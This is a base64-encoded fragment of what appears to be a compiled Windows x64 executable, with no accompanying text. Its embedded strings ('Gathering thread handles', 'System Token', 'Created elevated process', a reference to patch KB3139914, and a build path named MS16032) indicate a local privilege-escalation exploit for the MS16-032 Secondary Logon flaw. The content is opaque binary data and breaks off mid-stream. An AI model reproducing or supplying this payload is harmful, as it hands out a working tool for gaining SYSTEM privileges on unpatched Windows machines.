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ZWZhdWx0IGNvbnN0cnVjdG9yIGNsb3N1cmUnAAAAYHNjYWxhciBkZWxldGluZyBkZXN0cnVjdG9yJwAAAABgdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAGB2ZWN0b3IgZGVzdHJ1Y3RvciBpdGVyYXRvcicAAAAAYHZlY3RvciB2YmFzZSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAGB2aXJ0dWFsIGRpc3BsYWNlbWVudCBtYXAnAAAAAAAAYGVoIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAAAAAGBlaCB2ZWN0b3IgZGVzdHJ1Y3RvciBpdGVyYXRvcicAYGVoIHZlY3RvciB2YmFzZSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAGBjb3B5IGNvbnN0cnVjdG9yIGNsb3N1cmUnAAAAAAAAYHVkdCByZXR1cm5pbmcnAGBFSABgUlRUSQAAAAAAAABgbG9jYWwgdmZ0YWJsZScAYGxvY2FsIHZmdGFibGUgY29uc3RydWN0b3IgY2xvc3VyZScAIG5ld1tdAAAAAAAAIGRlbGV0ZVtdAAAAAAAAAGBvbW5pIGNhbGxzaWcnAABgcGxhY2VtZW50IGRlbGV0ZSBjbG9zdXJlJwAAAAAAAGBwbGFjZW1lbnQgZGVsZXRlW10gY2xvc3VyZScAAAAAYG1hbmFnZWQgdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAGBtYW5hZ2VkIHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgZWggdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYGVoIHZlY3RvciB2YmFzZSBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAAAAYGR5bmFtaWMgaW5pdGlhbGl6ZXIgZm9yICcAAAAAAABgZHluYW1pYyBhdGV4aXQgZGVzdHJ1Y3RvciBmb3IgJwAAAAAAAAAAYHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAAAAAGB2ZWN0b3IgdmJhc2UgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAAAAAGBtYW5hZ2VkIHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAAAAAGBsb2NhbCBzdGF0aWMgdGhyZWFkIGd1YXJkJwAAAAAAIFR5cGUgRGVzY3JpcHRvcicAAAAAAAAAIEJhc2UgQ2xhc3MgRGVzY3JpcHRvciBhdCAoAAAAAAAgQmFzZSBDbGFzcyBBcnJheScAAAAAAAAgQ2xhc3MgSGllcmFyY2h5IERlc2NyaXB0b3InAAAAACBDb21wbGV0ZSBPYmplY3QgTG9jYXRvcicAAAAAAAAAVQBTAEUAUgAzADIALgBEAEwATAAAAAAATWVzc2FnZUJveFcAAAAAAEdldEFjdGl2ZVdpbmRvdwBHZXRMYXN0QWN0aXZlUG9wdXAAAAAAAABHZXRVc2VyT2JqZWN0SW5mb3JtYXRpb25XAAAAAAAAAEdldFByb2Nlc3NXaW5kb3dTdGF0aW9uAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAIAAgACAAIAAgACAAIAAgACgAKAAoACgAKAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABIABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAIQAhACEAIQAhACEAIQAhACEAIQAEAAQABAAEAAQABAAEACBAIEAgQCBAIEAgQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAEAAQABAAEAAQABAAggCCAIIAggCCAIIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACABAAEAAQABAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgACAAIAAgACAAIAAgACAAIAAoACgAKAAoACgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEACEAIQAhACEAIQAhACEAIQAhACEABAAEAAQABAAEAAQABAAgQGBAYEBgQGBAYEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBARAAEAAQABAAEAAQAIIBggGCAYIBggGCAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgEQABAAEAAQACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAAgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBEAABAQEBAQEBAQEBAQEBAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECARAAAgECAQIBAgECAQIBAgECAQEBAAAAAAAAAAAAAAAAgIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXmJmam5ydnp+goaKjpKWmp6ipqqusra6vsLGys7S1tre4ubq7vL2+v8DBwsPExcbHyMnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx8vP09fb3+Pn6+/z9/v8AAQIDBAUGBwgJCgsMDQ4PEBESExQVFhcYGRobHB0eHyAhIiMkJSYnKCkqKywtLi8wMTIzNDU2Nzg5Ojs8PT4/QGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6W1xdXl9gYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXp7fH1+f4CBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/gIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXmJmam5ydnp+goaKjpKWmp6ipqqusra6vsLGys7S1tre4ubq7vL2+v8DBwsPExcbHyMnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx8vP09fb3+Pn6+/z9/v8AAQIDBAUGBwgJCgsMDQ4PEBESExQVFhcYGRobHB0eHyAhIiMkJSYnKCkqKywtLi8wMTIzNDU2Nzg5Ojs8PT4/QEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaW1xdXl9gQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVp7fH1+f4CBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/AQIDBAUGBwgJCgsMDQ4PEBESExQVFhcYGRobHB0eHyAhIiMkJSYnKCkqKywtLi8wMTIzNDU2Nzg5Ojs8PT4/QEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaW1xdXl9gYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXp7fH1+fwAxI1NOQU4AADEjSU5EAAAAMSNJTkYAAAAxI1FOQU4AAEEAAAAXAAAAQwBPAE4ATwBVAFQAJAAAAGdlbmVyaWMAdW5rbm93biBlcnJvcgAAAGlvc3RyZWFtAAAAAAAAAABpb3N0cmVhbSBzdHJlYW0gZXJyb3IAAABzeXN0ZW0AAGMAbQBkAC4AZQB4AGUAAAB0AGUAcwB0AAAAAAAAAAAARXJyb3IgZHVwbGljYXRpbmcgaGFuZGxlICVkIChUYXJnZXQgbWF5IGJlIHBhdGNoZWQgS0IzMTM5OTE0KQoAAEVycm9yOiAlZCAoVGFyZ2V0IG1heSBiZSBwYXRjaGVkIEtCMzEzOTkxNCkKAAAAAE50SW1wZXJzb25hdGVUaHJlYWQAAAAAAG4AdABkAGwAbAAAAAAAAAAAAAAAAAAAAEVycm9yIGltcGVyc29uYXRpbmcgdGhyZWFkICUwOFggKFRhcmdldCBtYXkgYmUgcGF0Y2hlZCBLQjMxMzk5MTQpCgAAAAAAAAAAAAAAAAAARXJyb3Igb3BlbmluZyB0aHJlYWQgdG9rZW46ICVkIChUYXJnZXQgbWF5IGJlIHBhdGNoZWQgS0IzMTM5OTE0KQoAAAAAAAAARXJyb3Igc2V0dGluZyB0b2tlbjogJWQgKFRhcmdldCBtYXkgYmUgcGF0Y2hlZCBLQjMxMzk5MTQpCgAAAAAAACUAcwAgAFsAYwBvAG0AbQBhAG4AZABdACAAWwBwAGEAcgBhAG0AZQB0AGUAcgBzAF0ADQAKAAAAR2F0aGVyaW5nIHRocmVhZCBoYW5kbGVzCgAAAAAAAABIYW5kbGUgbm90IGEgdGhyZWFkOiAlZAoAAAAAAAAAAERvbmUsIGdvdCAlZCBoYW5kbGVzCgAAAFN5c3RlbSBUb2tlbjogJXAKAAAAIAAAAFIAdQBuAG4AaQBuAGcAIAAnACUAcwAnACAALgAuAC4ADQAKAAAAAAAAAAAAAAAAAEMAbwB1AGwAZAAgAG4AbwB0ACAAYwByAGUAYQB0AGUAIABlAGwAZQB2AGEAdABlAGQAIABwAHIAbwBjAGUAcwBzACwAIAB0AGUAcgBtAGkAbgBhAHQAaQBuAGcAIABwAHIAbwBjAGUAcwBzACAALgAuAC4ADQAKAAAAAAAAAAAAQ3JlYXRlZCBlbGV2YXRlZCBwcm9jZXNzDQoAAAAAAABzdHJpbmcgdG9vIGxvbmcAaW52YWxpZCBzdHJpbmcgcG9zaXRpb24AbWFwL3NldDxUPiB0b28gbG9uZwAAAAAAIgWTGQIAAAB4swEAAQAAAPyzAQADAAAAJLQBADAAAAAAAAAAAQAAACIFkxkCAAAAeLMBAAEAAACIswEABQAAALCzAQAwAAAAAAAAAAEAAAAiBZMZBAAAAACxAQACAAAAnLIBAAgAAADssgEAIAAAAAAAAAABAAAAIgWTGQQAAAAAsQEAAgAAACCxAQAIAAAAcLEBACAAAAAAAAAAAQAAACIFkxkCAAAA6K8BAAAAAAAAAAAADQAAAPivAQC4AAAAAAAAAAEAAAAAAAAAAAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAI0AFAAQAAAAAAAAAAAAAAAAAAAAAAAABSU0RToW8tvFsnvkeDVhCIc5MibwEAAABDOlxVc2Vyc1x0d2lsc29uXERvY3VtZW50c1xWaXN1YWwgU3R1ZGlvIDIwMTNcUHJvamVjdHNcTVMxNjAzMlx4NjRcUmVsZWFzZVxNUzE2MDMyLnBkYgAAAAAAAKMAAACjAAAAAAAAAAAAAAAAAAAACOgBAAAAAAAAAAAA/////wAAAABAAAAAwKkBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAANipAQAAAAAAAAAAAJipAQAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAADg5wEAEKoBAOipAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAKKoBAAAAAAAAAAAAQKoBAJipAQAAAAAAAAAAAAAAAAAAAAAA4OcBAAEAAAAAAAAA/////wAAAABAAAAAEKoBAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAADDoAQCQqgEAaKoBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACoqgEAAAAAAAAAAADAqgEAmKkBAAAAAAAAAAAAAAAAAAAAAAAw6AEAAQAAAAAAAAD/////AAAAAEAAAACQqgEAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAWOgBABCrAQDoqgEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAACirAQAAAAAAAAAAAEirAQDAqgEAmKkBAAAAAAAAAAAAAAAAAAAAAAAAAAAAWOgBAAIAAAAAAAAA/////wAAAABAAAAAEKsBAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAIDoAQCYqwEAcKsBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAACwqwEAAAAAAAAAAADQqwEAwKoBAJipAQAAAAAAAAAAAAAAAAAAAAAAAAAAAIDoAQACAAAAAAAAAP////8AAAAAQAAAAJirAQAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAACo6AEAIKwBAPirAQ